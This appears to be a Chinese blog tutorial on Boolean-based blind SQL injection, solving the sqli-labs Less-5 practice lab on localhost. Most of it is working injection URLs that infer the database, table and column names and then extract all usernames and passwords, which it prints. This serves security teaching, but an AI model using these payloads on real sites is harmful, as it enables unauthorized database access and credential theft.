SQL注入——基于Boolean的盲注

一.基于Boolean的盲注

使用场景:没有数据回显,条件正确有结果错误没有结果

利用方式:构造判断条件逐个猜测、

1.所需语法与函数

database()   #获取当前数据库的名字

 

 

length(str)                  #计算 str 的长度

 

substr(str,起始位,截取位数)

 

 

group_concat(列名)  #把某列的全部值输出到一行,默认用逗号分隔

 

 

二、举例说明

基于Boolean的盲注,以sqli-labs less-5 (第五关)为例

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 -- -
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 -- -   #回显结果不一样存在字符型注入

1.判断数据库长度,以及名字

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- -#数据库长度为8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)='s'-- -#security

2.使用group_concat()语句猜测表名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29 -- - #group_concat()默认用逗号隔开 ,所以表名加逗号的长度是29

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e' -- -    #猜测表的名字同时用burp爆破

 成功爆破出4个表名:emails,referers,uagents,users

3.接下来猜测user表中的字段名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20 -- -  #字段名的长度20

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i'-- -  #爆破字段名

 

至此users表的三个字段名成功得到:id,username,password

4.同理爆破字段username和password的内容得到相应的账号密码

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(username) from security.users))=91 -- -   #判断出所有的 username的长度加上符号的长度是91

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(username) from security.users),1,1)='d' -- -爆破所有的username值

得出所有的username的值为

dumb,angelina,dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

接下来爆破password中的值

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(password) from security.users))=96 -- -  #判断出password的长度为96
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(password) from security.users),1,1)='d' -- -#得出password的值

 

 password的值为

dumb,-kill-you,p@ssword,crappy,stupidity,genious,mob!le,

admin,admin1,admin2,admin3,dumbo,admin4

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值